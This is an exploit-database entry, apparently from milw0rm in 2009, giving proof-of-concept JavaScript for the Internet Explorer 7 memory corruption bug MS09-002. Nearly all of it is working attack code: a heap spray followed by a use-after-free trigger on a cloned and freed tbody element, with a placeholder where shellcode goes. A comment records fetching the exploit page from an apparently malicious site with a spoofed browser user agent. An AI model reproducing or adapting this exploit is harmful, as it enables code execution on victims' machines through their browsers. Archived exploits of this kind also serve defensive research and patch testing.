Microsoft Internet Explorer 7 - Memory Corruption (PoC) (MS09-002)

<!--
MS09-002
===============================
grabbed from:
wget http://www.chengjitj.com/bbs/images/alipay/mm/jc/jc.html --user-agent="MSIE 7.0; Windows NT 5.1"

took a little but found it. /str0ke
-->

<script language="JavaScript">

var c="putyourshizhere-unescaped";

var array = new Array();

var ls = 0x100000-(c.length*2+0x01020);

var b = unescape("%u0C0C%u0C0C");
while(b.length<ls/2) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;

for(i=0; i<0xC0; i++) {
	array[i] = lh + c;
}

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement("img"));

function ok() {
	o1=document.createElement("tbody");
	o1.click;
	var o2 = o1.cloneNode();
	o1.clearAttributes();
	o1=null; CollectGarbage();
	for(var x=0;x<a1.length;x++) a1[x].src=s1;
	o2.click;
}
</script><script>window.setTimeout("ok();",800);</script>

# milw0rm.com [2009-02-18]